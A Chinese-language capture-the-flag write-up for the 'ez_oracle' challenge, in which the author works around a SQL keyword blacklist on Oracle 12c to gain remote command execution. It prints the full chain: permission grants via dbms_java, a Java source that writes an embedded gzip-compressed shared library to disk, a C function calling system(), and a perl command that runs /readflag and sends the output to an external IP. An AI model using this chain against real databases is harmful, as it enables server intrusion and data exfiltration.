Table of contents
Open Table of contents
ez_oracle
第一次在 CTF 比赛里面见到 Oracle 数据库的题目, 过程挺折磨人的, 不过确实学到了挺多东西
源码
import logging
import oracledb
from flask import Flask, request
import socket
app = Flask(__name__)
username = "system"
password = "PaAasSSsSwoRrRDd"
ol_server = "127.0.0.1"
ol_port = 1521
sid = "orcl"
dsn = "{}:{}/{}".format(ol_server, ol_port, sid)
logging.basicConfig(level=logging.INFO, filename='/var/log/web.log', format='%(asctime)s %(message)s')
def check(sql):
blacklist = ["select", "insert", "delete", "update", "table", "user", "drop", "alert", "procedure", "exec",
"open", ":=", "declare", "runtime", "process", "invoke", "newinstance", "parse",
".class", "loader", "script", "url", "xml", "method", "field", "reflect", "defineclass",
"getclass", "forname", "constructor", "transform", "sql", "beans", ".net", "http", ".rmi", "naming"
]
sql = sql.lower()
for blackword in blacklist:
if blackword in sql:
return True
def log(ip, sql, error=None):
error_text = "-----------------------{}-----------------------\n".format(ip)
error_text += "sql: {} \n".format(sql)
if error != None:
error_text += "error: {} \n".format(error)
error_text += "-------------------------------------------------"
logging.error(error_text)
@app.route("/query", methods=["POST"])
def query():
sql = request.form["sql"]
ip = request.remote_addr
if check(sql):
return "waf"
else:
try:
conn = oracledb.connect(user=username, password=password, dsn=dsn)
conn.callTimeout = 5000
cursor = conn.cursor()
cursor.execute(sql)
cursor.close()
conn.close()
log(ip, sql)
except Exception as e:
log(ip, sql, e)
return "error"
return "query success"
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8888)
Oracle 12c ee, 任意 SQL 语句执行, 但是加了一堆过滤, 目标是 RCE
过滤了 exec procedure := declare 表示不能通过 execute immediate 语法动态执行 RCE 语句
例如
declare sql_command varchar2(32767);
begin sql_command := 'SQL';
execute immediate sql_command;
end;
过滤了 runtime process .class method constructor getclass forname defineclass field reflect 表示不能通过 Java 反射拿到 Runtime, ProcessBuilder 或者自定义的 ClassLoader 进而执行命令
过滤了 .rmi .net naming 表示不能打 RMI/LDAP JNDI 和反序列化
不过如果仔细看的话其实可以发现还有一些关键词可以利用, 例如 java source class (注意不是 .class) function library 等等
这里直接给出我的思路:
通过 create java source 执行 Java 方法向 Oracle lib 目录写入动态链接库 (.so), 然后通过 create library 加载 .so 文件, 并调用其中的某个函数, 该函数调用 system 执行命令, 从而实现 RCE
参考文档:
https://mikegeorgiou.blogspot.com/2011/11/how-to-call-c-shared-library-from-plsql.html
https://docs.oracle.com/cd/F49540_01/DOC/server.815/a68002/ch04_use.htm
https://www.morganslibrary.org/reference/libraries.html
https://docs.oracle.com/en/database/oracle/oracle-database/12.2/lnpls/CREATE-FUNCTION-statement.html
https://docs.oracle.com/en/database/oracle/oracle-database/19/lnpls/CREATE-LIBRARY-statement.html
https://docs.oracle.com/cd/E57425_01/121/LNPLS/create_library.htm
https://docs.oracle.com/cd/E57425_01/121/LNPLS/create_function.htm
首先编写 .so
xzevil.c
#include "xzevil.h"
#include <stdio.h>
#include <stdlib.h>
char* cmd(char* command) {
system(command);
return "ok";
}
xzevil.h
#ifndef xzevil_h_
#define xzevil_h_
extern char* cmd(char* command);
#endif
编译
gcc -shared -fPIC xzevil.c -o xzevil.so
在 create java source 之前先给当前用户赋权, 被过滤的字符串直接用 || 拼接绕过
begin
dbms_java.grant_permission('SYSTEM', 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'read,write,e'||'xecute,del'||'ete');
end;
begin
dbms_java.grant_permission('SYSTEM', 'SYS:java.lang.Runt'||'imePermission', 'writeFileDescr'||'iptor', '');
end;
begin
dbms_java.grant_permission('SYSTEM', 'SYS:java.lang.Runt'||'imePermission', 'readFileDesc'||'riptor', '');
end;
create java source
create or replace and compile java source named "JavaTool" as
import java.io.ByteArrayInputStream;
import java.io.FileOutputStream;
import java.util.zip.GZIPInputStream;
public class JavaTool {
public static String write(String path) throws Exception {
byte[] data = new byte[]{31, -117, 8, 0, 0, 0, 0, 0, 0, 0, -19, 91, 93, 108, 20, 85, 20, -66, -77, 109, -23, 46, -108, -18, -126, 32, -40, -94, 93, 12, 24, 80, 58, -108, 74, 17, -123, 66, -37, -19, -74, -125, 105, 11, -42, -10, -127, 4, 25, -90, 59, -45, 118, 113, 127, -56, -18, -76, -76, 13, 106, -123, -88, 52, -124, -124, -60, -104, 24, 72, 12, 15, -58, -97, -60, -8, -128, 47, -6, 100, 73, 21, -15, -25, 1, 19, 77, 26, -115, 73, 19, 67, 44, -119, 81, -120, -47, 84, 19, -69, -34, 59, 115, -50, 118, -26, 50, 35, -8, -128, -119, -15, 126, -55, -52, 55, -25, -36, -5, -35, -65, -103, 114, 103, -40, 115, -98, -117, 119, -76, 5, 36, -119, 32, 74, -56, 46, -78, 96, 17, -46, 4, 28, 105, 112, -6, -74, -109, 16, 61, -81, 33, -43, 86, -35, 82, -30, -113, 87, 75, -35, 76, 34, 54, 49, 93, -103, -61, -26, -71, 65, 114, -77, 83, 103, 53, 21, 5, 63, -57, -81, 19, 55, 59, 117, -117, -24, 49, 87, 107, -37, 115, -115, 110, 94, 29, -128, 102, 2, 110, 93, 0, 116, 65, -39, -74, -125, -69, -36, 60, 41, -71, 57, 8, -14, 82, 56, -74, 67, 123, 60, -81, 35, 110, -58, -27, -39, 119, -43, -44, 45, 45, -52, -121, 103, 63, -35, 19, 84, -73, -120, -36, 62, 112, -71, -69, -95, 63, -65, 117, 9, 6, -36, -116, -73, -125, 105, 86, 16, -10, -68, 16, -46, -34, -43, 75, -50, 79, -67, 123, -19, -36, -15, 49, -93, -4, -21, -122, 29, 114, -29, -101, -83, 103, 107, -109, 7, 89, 61, 92, 63, 92, 127, 112, 89, -83, 49, 123, -76, -1, -28, -110, 91, -115, 51, -22, -31, -33, 79, -113, -27, 30, 126, -55, -89, -2, 38, 31, 127, 27, 61, -18, -9, -16, -9, 90, -19, 87, -112, -48, 50, -37, 94, -117, 5, -86, 58, -112, -50, 102, -44, -68, -87, -27, 76, 85, 37, -22, -98, -98, 78, 85, 55, 114, -58, 64, 50, 111, 26, -71, -98, -50, 88, 42, -101, 49, 122, -76, -66, -108, 97, -105, 121, -105, -88, -119, 17, 77, -19, 79, 102, -76, 84, 114, -52, 32, -119, -76, 78, -14, -93, -76, 86, -102, -92, -110, 125, 9, 57, -97, -107, -73, -111, -10, -114, 61, 45, 49, -75, 94, -82, -105, 27, -84, 121, 5, -24, 97, -97, -19, 121, 74, -28, 16, 89, -72, -113, 67, 85, -55, 16, 91, -42, -61, 96, 23, -17, 31, -114, 27, -26, 65, 118, -71, -3, -109, -48, 64, -80, -55, -19, 71, -5, -14, 110, -101, -15, 30, 34, -82, 56, -4, 37, 14, -1, -76, -61, -17, -4, 119, 97, -58, -31, 47, 115, 46, 52, -12, 83, 78, -32, -95, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, -72, 99, 80, 78, -4, 24, 84, 78, -107, 125, -68, -103, 94, -66, 48, 105, 6, 10, 87, -108, 19, 31, 5, -89, -118, -27, -123, -122, -49, 104, 81, 97, -3, 23, -12, 28, -82, 105, -94, 87, -52, 30, 100, 69, -41, 102, 10, 20, -21, -49, 82, -69, -1, 76, -79, -67, -45, -115, 31, -80, -74, 78, -105, 93, 96, -12, -24, -100, -71, -110, 54, 127, 16, -102, 15, 21, 102, -62, 53, -29, -84, -34, 20, 48, -83, 63, 97, -43, 111, 56, -50, 104, -29, -68, 50, 113, 93, -71, -8, -45, 110, -27, -30, 92, -119, 34, 93, 82, -66, -100, 55, 87, -48, 6, 106, -95, -127, 96, 97, -90, 63, 92, -45, -70, -96, -1, 37, 124, -33, 31, -29, -115, 113, 90, 76, -122, 30, -22, 85, 78, 52, 46, 102, -105, -54, -60, 85, -77, 66, 57, -43, -8, 0, 53, 102, -9, -45, 81, -50, -22, -12, 116, -87, -20, 94, 106, 75, 79, 81, -83, 75, 127, -19, 40, 45, -20, -91, 26, -70, 24, 17, 101, -30, -103, 57, -27, 84, 124, 78, -103, -8, 100, 54, 76, -3, 116, 38, -45, -107, -124, 124, 58, 5, 107, -27, 90, 29, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, -127, -1, 6, -78, 79, -45, 47, -30, -22, -110, 29, 81, 98, -1, -114, -73, -26, 122, -95, -80, -109, -14, 78, -54, 58, -27, -78, 27, -123, -62, 49, 98, -1, -42, -53, 32, -115, 117, 19, 105, 36, 34, 85, 87, -108, 7, -49, 72, -10, -17, -48, 107, -24, 49, -3, 115, -95, -64, -38, 32, -107, -111, -74, -54, -43, -113, -121, -105, 28, 13, -114, -109, -35, 85, 59, 30, 124, 120, -99, -11, -13, 42, -45, -45, -49, 118, 114, -123, -42, 11, 58, -6, 103, -38, 3, -12, 120, -98, -10, 103, -3, -58, -38, 92, 25, 121, 49, 16, 91, -70, -24, 0, -19, -32, -114, -49, 94, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, -32, 127, 0, -120, 7, -99, 116, -60, 71, 51, 28, 2, -82, -64, 122, 80, -66, 20, -52, 77, -96, -69, 7, 108, -116, 51, -83, 6, 27, -65, -39, -86, 80, 15, -15, -90, 107, -72, -14, 95, -25, 11, 89, -85, 63, 8, -6, -60, -104, -48, 58, 8, 38, -59, 88, -26, -109, 80, -66, 24, -20, 97, 96, 12, 26, 94, 13, -116, 49, -88, -77, 16, 103, 26, -32, -54, -15, -5, -75, 28, 120, 21, -16, 120, -87, -37, 63, 93, -30, 30, -25, 91, -64, 33, -82, -67, -7, -126, 61, -2, -9, -95, 126, 1, 108, 92, -57, -21, 96, -65, 1, -27, -65, -125, -19, -116, -107, -3, 55, -127, -15, -22, 60, -74, 113, -15, -65, -19, -79, -40, 99, -47, 13, -83, 70, 95, 82, -53, 68, -73, -80, -24, -29, -70, -38, 45, 91, 55, -62, -91, 127, -5, 118, 92, -2, -115, 2, -17, 103, -49, 81, -128, -98, -9, 69, -36, -2, 74, -16, -113, 115, -2, -75, -32, -97, -28, -4, -113, 88, 125, -84, 34, -111, -90, -123, -2, 24, 98, -42, -11, -14, -30, 115, -122, 56, 12, -19, 20, -29, -98, 1, -61, 86, -3, 101, -59, -25, 22, -15, -118, -49, -8, -3, -26, -11, -102, 85, 22, 33, -25, -93, 124, -119, 119, -3, 119, -84, -15, 44, 45, -2, -3, 32, 46, 88, -19, -36, 93, 92, 127, -60, -121, -106, -1, -82, -101, -18, -37, 101, -21, 28, 46, -26, 3, 32, -66, -123, 118, 112, 125, 16, 63, 88, -2, -107, -59, -65, 11, -60, -97, -42, 120, 66, 11, 1, -28, -128, 18, -55, 59, 78, -66, 70, -14, -114, -73, -81, -105, -68, -29, -28, -73, -7, -76, 19, -9, -15, -85, -110, 119, 28, 62, 73, -28, -52, -68, 57, -44, -33, 47, 39, -56, 66, -104, -67, 106, -90, -43, 4, 11, -89, -49, 19, 85, -43, -77, -22, 64, 42, -37, -89, -91, 84, -35, -52, -26, -14, -86, 54, 52, 66, 18, -39, -12, -111, -108, 97, 26, 58, 125, 102, 61, 107, -80, -32, -5, -92, -86, -27, 114, -38, -88, 106, 100, -52, -36, 40, -23, -49, 105, 105, 67, -43, -121, -46, -23, 81, 42, 113, 88, 42, -83, 105, -70, -86, -114, -116, 25, -61, -55, 20, 29, -111, -86, -74, 117, 55, 119, -58, -43, 120, 87, 43, -53, 5, 96, 109, -78, -18, -14, 89, 117, 80, -53, -24, 44, -48, -65, 117, 127, 87, 115, -25, -98, 24, -11, -74, 119, -11, -86, 113, 5, 4, 74, 107, 55, 117, -11, 116, -58, 80, -38, -34, -79, -73, -91, -71, 67, -35, -37, -42, -10, 100, -68, 71, -19, 105, 110, -23, -120, 83, 47, -21, -7, 111, 83, 12, -20, -84, -127, 38, 103, -82, 0, 75, 38, -16, 74, 82, -72, -115, 68, 4, 87, 59, 68, -50, -113, -90, 77, -83, -113, -78, -103, -77, 121, 16, -81, 50, 89, -45, -112, 7, 50, 67, 114, -33, 80, 50, -91, -41, 38, 117, 98, 89, -125, 90, 126, -112, -56, -6, 104, -122, 42, 109, 54, 115, 118, -55, -80, -111, -53, 39, -77, 25, -105, -95, -46, -78, -100, -111, -46, 88, 69, -72, 58, -110, 50, -119, 108, 77, -102, 93, -54, 3, 89, 122, 97, 26, 35, -12, 108, 45, -83, -100, -53, -22, -102, -87, 17, -39, 24, -124, 27, 52, -88, -25, 22, 44, 91, 106, -33, 41, 91, -127, -41, -76, 7, 45, -99, 76, 16, -42, -94, -35, -119, -35, 78, 95, 62, 79, 100, -6, -84, -92, -23, 125, -11, 122, -8, -2, 57, -40, 62, -24, -52, 101, -16, -53, -5, 65, -16, -71, 83, 44, -51, -24, 55, -70, 87, -96, 30, -9, -57, 67, -100, 30, -9, 17, -2, -1, 72, -73, 19, 123, 111, 68, 61, -18, -97, -56, -72, -97, -79, 126, 37, -121, 30, -9, -75, 38, 104, 27, -11, -72, 31, 35, -29, -2, -117, -112, 56, 91, 33, -10, 94, -120, 122, -36, -1, -112, 43, -71, -15, 7, 56, 102, 121, 55, -13, 14, 61, -18, -81, -56, 81, -97, -15, 35, 116, 40, 67, 61, -18, -25, -56, 56, 127, 126, -3, 112, -2, 25, -48, -73, -128, -115, -17, 7, -56, -50, -9, -115, -107, 30, -6, 17, -30, -54, 117, -70, 41, -81, 13, -33, 59, 16, -4, -3, -49, 115, -6, 104, -124, 99, -82, 62, -97, 62, -9, 44, -89, 111, -118, -72, -103, 95, -81, 32, -57, 47, 113, 122, -36, -73, -111, -65, -15, -23, 31, 113, -102, -45, -29, 126, -121, 28, -30, -22, -13, -13, 127, 25, -12, -59, 92, -96, -88, -101, -7, -9, 39, -2, -7, 59, -57, -23, -3, -14, -25, -4, -6, 127, -101, -45, 111, -120, -70, -7, 24, 87, -97, 95, -49, -9, -120, -3, -116, -29, 56, -117, -7, 116, -75, -34, -11, -7, -11, 103, -5, 126, -40, -95, 47, -66, -41, -56, -18, 122, 126, -6, -49, -119, 59, 39, -85, -104, -81, 8, 122, -52, 83, 44, -27, 116, 120, 31, -113, 19, 123, -2, -88, -57, -4, -81, -53, -101, 109, -114, -34, -94, -1, -81, 56, 61, -66, 119, -52, -34, -90, -2, 59, 78, 95, -52, 75, -85, 115, -41, -29, -11, -120, -17, -63, -121, 122, 124, 31, -118, -8, -24, -7, -25, 103, 22, 124, -4, -85, 46, -22, 107, 124, -12, 78, -10, -54, 99, -85, 3, -3, 17, 40, 100, -33, 71, 43, -56, -51, -1, 126, -124, -120, -9, 55, -62, -7, 122, -101, -57, -72, 1, -13, -29, 95, -26, -93, -81, -38, 106, -13, 13, -50, -49, -21, -1, 2, 0, 24, 8, -29, 16, 60, 0, 0};
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(data));
FileOutputStream fileOutputStream = new FileOutputStream(path);
byte[] buffer = new byte[1024];
int len;
while ((len = gzipInputStream.read(buffer)) > 0) {
fileOutputStream.write(buffer, 0, len);
}
gzipInputStream.close();
fileOutputStream.close();
return "write ok";
}
}
这里得注意几个点
首先 .so 必须先用 gzip 压缩一遍, 这样最终得到的 byte 数组会比原来的小很多, 不然会因为 SQL 语句过长而执行失败
其次, Oracle 12c ee 内置的 JDK 版本为 1.6, 因此没有 java.util.Base64, 如果用 sun.misc.BASE64Encoder 的话得额外赋权 (不过我没试过, 不知道能不能成功)
create function
create or replace function java_write(path varchar2) return varchar2 as language java name 'JavaTool.write(java.lang.String) return java.lang.String';
然后调用 java_write 函数, 写入 .so 文件至 /u01/app/oracle/product/12.1.0.2/dbhome_1/lib/ 目录
因为 select 被过滤了, 所以需要换个方式来调用 function
BEGIN
if (java_write('/u01/app/oracle/product/12.1.0.2/dbhome_1/lib/xzevil.so') = 'ok')
then dbms_output.put_line('Valid');
else dbms_output.put_line('Invalid');
end if;
end;
create library
create or replace library lib_xzevil as '/u01/app/oracle/product/12.1.0.2/dbhome_1/lib/xzevil.so';
create function
create or replace function cmd(str varchar2) return varchar2
as language c
library lib_xzevil
name "cmd";
调用 cmd 函数, 实现 RCE
BEGIN
if (cmd('/u01/app/oracle-product/12.1.0.2/dbhome_1/perl/bin/perl -MLWP::Us'||'erAgent -e "\$ua = LWP::Us'||'erAgent->new; \$response = \$ua->get(''h'||'ttp://30.222.0.69:4444/?a=`/readflag`'');"') = 'ok')
then dbms_output.put_line('Valid');
else dbms_output.put_line('Invalid');
end if;
end;
之后就非常抽象, 当前的权限是 oracle 用户, 貌似只能执行所有者是 oracle 的命令, 所以 /bin 目录下的命令就全都用不了了, 只能从 Oracle 的安装目录中找命令去外带回显 (/readflag 命令可以正常执行)
find / -user oracle -perm /u=x | grep bin | more
这里我用的是 perl 命令, 反引号调用 /readflag + 发送 HTTP 请求外带回显
还有个 ldapsearch 理论上应该也可以, 但是得抓完整的连接包, 需要真正搭一个 LDAP 服务器, 比较麻烦
最后执行命令不知道什么情况得等好长时间, 我本地等了大约 180s 后才能带出 flag, 换到题目服务器上发了 N 次包, 最后终于把 flag 带出来了
上面的过程看着简单但其实有很多坑, 我自己掉了好多次坑才弄明白这些内容, 包括但不限于:
不能通过 System.load 加载 .so
不能通过 gcc 的 __attribute__ ((__constructor__)) void preload (void) 特性实现一加载 .so 就自动执行代码
上述的 create library 之类的 SQL 语句的语法规则
.so 的编写规范
因为没有 Gzip 压缩导致 SQL 语句长度过长, 执行失败
JDK 1.6 没有 java.util.Base64
在不执行 select 的情况下调用 function
RCE 后执行命令外带回显的坑